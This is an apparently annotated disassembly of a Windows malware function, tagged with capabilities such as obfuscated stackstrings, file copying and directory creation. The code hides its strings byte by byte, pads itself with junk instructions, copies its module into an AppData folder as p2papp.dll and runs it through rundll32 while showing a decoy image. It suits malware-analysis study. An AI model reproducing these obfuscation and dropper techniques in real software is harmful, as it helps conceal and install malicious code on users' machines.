Function at 0x10001c20
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c8
push ebx
push esi
push edi
push ebp
nop
nop
mov ebp, esp
push 0x3a0f
inc ecx
dec ecx
test esi, esi
nop
mov esp, ebp
nop
nop
pop ebp
add eax, 0
jne 0x10001c48
je 0x10001c48
call 0x6500dccf
add eax, 0
push ebp
nop
mov ebp, esp
add esp, 4
add esp, 0xfffffffc
add esp, 9
add esp, 0xfffffff7
test esi, esi
inc ecx
dec ecx
nop
mov esp, ebp
pop ebp
push ebp
nop
mov ebp, esp
add esp, 4
add esp, 0xfffffffc
inc ecx
dec ecx
add esp, 6
sub esp, 6
inc ecx
dec ecx
nop
mov esp, ebp
pop ebp
nop
nop
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.PathRemoveFileSpecA
push str.Shlwapi.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0xb8], eax
nop
push str.GetModuleFileNameA
push str.kernel32
call esi
push eax
call edi
mov ebx, eax
mov dword [ebp - 0xbc], ebx
nop
push str.ExpandEnvironmentStringsA
push str.kernel32
call esi
push eax
call edi
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x50], 0
lea eax, [0x10001ce8]
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
mov esp, ebp
nop
pop ebp
and eax, 0xfffff000
sub eax, 0x1000
push ebp
nop
mov ebp, esp
test esi, esi
add esp, 0xa
sub esp, 0xa
push 0xffffb736
mov esp, ebp
nop
pop ebp
cmp word [eax], 0x5a4d
jne 0x10001ce8
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
add esp, 1
sub esp, 1
test esi, esi
nop
nop
mov esp, ebp
pop ebp
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
push 0x104
push 0x1000fc24
push eax
call ebx
nop
nop
push ebp
nop
mov ebp, esp
add esp, 3
sub esp, 3
inc ecx
dec ecx
add esp, 7
add esp, 0xfffffff9
mov esp, ebp
pop ebp
push 0x1000fc24
call fcn.10007bd6
xor ecx, ecx
mov edi, str.p2papp.dll
mov dword [ebp - 0x23], ecx
xor eax, eax
mov dword [ebp - 0x1f], ecx
add esp, 4
mov dword [ebp - 0x1b], ecx
lea edx, [ebp - 0x24]
mov word [ebp - 0x17], cx
mov byte [ebp - 0x24], 0
mov byte [ebp - 0x15], cl
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
add esp, 4
add esp, 0xfffffffc
add esp, 9
add esp, 0xfffffff7
inc ecx
dec ecx
xor ecx, ecx
mov edi, str.formplat
mov dword [ebp - 0xb], ecx
xor eax, eax
mov dword [ebp - 7], ecx
lea edx, [ebp - 0xc]
mov word [ebp - 3], cx
mov byte [ebp - 0xc], 0
mov byte [ebp - 1], cl
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebp
nop
nop
mov ebp, esp
push ebx
pop ebx
inc ecx
dec ecx
test esi, esi
add esp, 4
add esp, 0xfffffffc
mov esp, ebp
nop
pop ebp
lea ecx, [ebp - 0x24]
push ecx
push 0x1000fc24
call fcn.10002c40
add esp, 8
test eax, eax
jne 0x100022b1
nop
push ebp
mov ebp, esp
add esp, 3
add esp, 0xfffffffd
add esp, 7
sub esp, 7
test esi, esi
inc ecx
dec ecx
nop
nop
mov esp, ebp
pop ebp
mov ecx, 7
lea edi, [ebp - 0x6f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dl, 0x25
mov al, 0x41
mov cl, 0x50
mov byte [ebp - 0x70], dl
mov byte [ebp - 0x6f], al
mov byte [ebp - 0x6e], cl
mov byte [ebp - 0x6d], cl
mov byte [ebp - 0x6c], 0x44
mov byte [ebp - 0x6b], al
mov byte [ebp - 0x6a], 0x54
mov byte [ebp - 0x69], al
mov byte [ebp - 0x68], dl
mov byte [ebp - 0x67], 0x5c
nop
nop
push ebp
nop
mov ebp, esp
test esi, esi
inc ecx
dec ecx
push 0x7043
add esp, 0xa
add esp, 0xfffffff6
nop
mov esp, ebp
pop ebp
lea edi, [ebp - 0xc]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x70]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
push ebp
mov ebp, esp
push 0x109d
inc ecx
dec ecx
nop
mov esp, ebp
nop
pop ebp
mov ecx, 0x40
lea edi, [ebp - 0x1bf]
mov byte [ebp - 0x1c0], al
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x1c0]
lea ecx, [ebp - 0x70]
push eax
push ecx
call dword [ebp - 0xb4]
lea edx, [ebp - 0x1c0]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
nop
push ebp
mov ebp, esp
add esp, 8
sub esp, 8
add esp, 7
add esp, 0xfffffff9
test esi, esi
nop
nop
mov esp, ebp
nop
nop
pop ebp
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x2c3]
mov byte [ebp - 0x2c4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x1c0]
lea ecx, [ebp - 0x2c4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x24]
lea eax, [ebp - 0x2c4]
push edx
push eax
call esi
lea ecx, [ebp - 0x2c4]
push 0
push ecx
push 0x1000fc24
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor edx, edx
mov dword [ebp - 0x3b], edx
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x37], edx
lea ecx, [ebp - 0x1c0]
mov word [ebp - 0x33], dx
mov bl, 0x65
push eax
push ecx
mov byte [ebp - 0x31], dl
mov byte [ebp - 0x3c], 0x5c
mov byte [ebp - 0x3b], 0x74
mov byte [ebp - 0x3a], bl
mov byte [ebp - 0x39], 0x6d
mov byte [ebp - 0x38], 0x70
call esi
nop
push ebp
mov ebp, esp
test esi, esi
add esp, 6
sub esp, 6
inc ecx
dec ecx
add esp, 5
sub esp, 5
mov esp, ebp
nop
pop ebp
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x3c7]
mov byte [ebp - 0x3c8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp - 0x50]
lea edx, [ebp - 0x3c8]
push 0x104
push edx
push eax
call dword [ebp - 0xbc]
lea ecx, [ebp - 0x3c8]
push 0x5c
push ecx
call fcn.10002bc1
add esp, 8
mov byte [eax], 0
lea edx, [ebp - 0x3c]
lea eax, [ebp - 0x3c8]
push edx
push eax
call esi
lea ecx, [ebp - 0x1c0]
push 0
lea edx, [ebp - 0x3c8]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
push str.ShellExecuteA
mov dword [ebp - 0x13], eax
push str.shell32.dll
mov word [ebp - 0xf], ax
mov byte [ebp - 0x14], 0x4f
mov byte [ebp - 0xd], al
mov byte [ebp - 0x13], 0x70
mov byte [ebp - 0x12], bl
mov byte [ebp - 0x11], 0x6e
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1000fc24
mov dword [ebp - 0x50], eax
call dword [ebp - 0xb8]
xor ecx, ecx
lea edx, [ebp - 0x30]
mov dword [ebp - 0x2f], ecx
mov al, 0x62
mov dword [ebp - 0x2b], ecx
push edx
mov word [ebp - 0x27], cx
push 0x1000fc24
mov byte [ebp - 0x25], cl
mov byte [ebp - 0x30], 0x5c
mov byte [ebp - 0x2f], al
mov byte [ebp - 0x2e], al
mov byte [ebp - 0x2d], 0x73
mov byte [ebp - 0x2c], 0x2e
mov byte [ebp - 0x2b], al
mov byte [ebp - 0x2a], 0x6d
mov byte [ebp - 0x29], 0x70
call esi
push ebp
mov ebp, esp
add esp, 3
sub esp, 3
add esp, 5
add esp, 0xfffffffb
nop
mov esp, ebp
nop
pop ebp
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x8c7]
mov byte [ebp - 0x8c8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xf
xor eax, eax
lea edi, [ebp - 0xaf]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, 0x77
mov cl, 0x67
mov byte [ebp - 0xaa], al
mov byte [ebp - 0x9c], al
lea eax, [ebp - 0xb0]
mov byte [ebp - 0xac], cl
mov byte [ebp - 0xa1], cl
push 0x1000fc24
push eax
lea ecx, [ebp - 0x8c8]
mov dl, 0x69
push str._s__s
push ecx
mov byte [ebp - 0xb0], 0x73
mov byte [ebp - 0xaf], 0x68
mov byte [ebp - 0xae], dl
mov byte [ebp - 0xad], 0x6d
mov byte [ebp - 0xab], 0x76
mov byte [ebp - 0xa9], 0x2e
mov byte [ebp - 0xa8], 0x64
mov byte [ebp - 0xa7], 0x6c
mov byte [ebp - 0xa6], 0x6c
mov byte [ebp - 0xa5], 0x2c
mov byte [ebp - 0xa4], 0x49
mov byte [ebp - 0xa3], 0x6d
mov byte [ebp - 0xa2], 0x61
mov byte [ebp - 0xa0], bl
mov byte [ebp - 0x9f], 0x56
mov byte [ebp - 0x9e], dl
mov byte [ebp - 0x9d], bl
mov byte [ebp - 0x9b], 0x5f
mov byte [ebp - 0x9a], 0x46
mov byte [ebp - 0x99], 0x75
mov byte [ebp - 0x98], 0x6c
mov byte [ebp - 0x97], 0x6c
mov byte [ebp - 0x96], 0x73
mov byte [ebp - 0x95], 0x63
mov byte [ebp - 0x94], 0x72
mov byte [ebp - 0x93], bl
mov byte [ebp - 0x92], bl
mov byte [ebp - 0x91], 0x6e
call esi
add esp, 0x10
xor edx, edx
mov dword [ebp - 0x4b], edx
lea eax, [ebp - 0x8c8]
mov dword [ebp - 0x47], edx
push 5
mov dword [ebp - 0x43], edx
push 0x1000d158
mov word [ebp - 0x3f], dx
lea ecx, [ebp - 0x4c]
push eax
mov byte [ebp - 0x3d], dl
mov byte [ebp - 0x4c], 0x72
mov byte [ebp - 0x4b], 0x75
mov byte [ebp - 0x4a], 0x6e
mov byte [ebp - 0x49], 0x64
mov byte [ebp - 0x48], 0x6c
mov byte [ebp - 0x47], 0x6c
mov byte [ebp - 0x46], 0x33
mov byte [ebp - 0x45], 0x32
mov byte [ebp - 0x44], 0x2e
mov byte [ebp - 0x43], bl
mov byte [ebp - 0x42], 0x78
mov byte [ebp - 0x41], bl
push ecx
lea edx, [ebp - 0x14]
push edx
push 0
call dword [ebp - 0x50]
nop
nop
push ebp
nop
nop
mov ebp, esp
add esp, 9
add esp, 0xfffffff7
inc ecx
dec ecx
add esp, 3
sub esp, 3
push ebx
pop ebx
nop
nop
mov esp, ebp
nop
nop
pop ebp
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x4c7]
mov byte [ebp - 0x4c8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0xc]
lea ecx, [ebp - 0x2c4]
push eax
push ecx
lea edx, [ebp - 0x4c8]
push str.__s___s
push edx
call esi
add esp, 0x10
nop
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
test esi, esi
add esp, 9
add esp, 0xfffffff7
add esp, 3
add esp, 0xfffffffd
mov esp, ebp
nop
pop ebp
lea eax, [ebp - 0x1c0]
push 0x104
lea ecx, [ebp - 0x70]
push eax
push ecx
call dword [ebp - 0xb4]
push 5
lea edx, [ebp - 0x4c8]
push 0x1000d158
lea eax, [ebp - 0x4c]
push edx
lea ecx, [ebp - 0x14]
push eax
push ecx
push 0
call dword [ebp - 0x50]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
nop
nop
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
add esp, 4
add esp, 0xfffffffc
add esp, 4
sub esp, 4
mov esp, ebp
nop
nop
pop ebp
push 0
call fcn.10001a20
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call esi
jmp 0x100022d7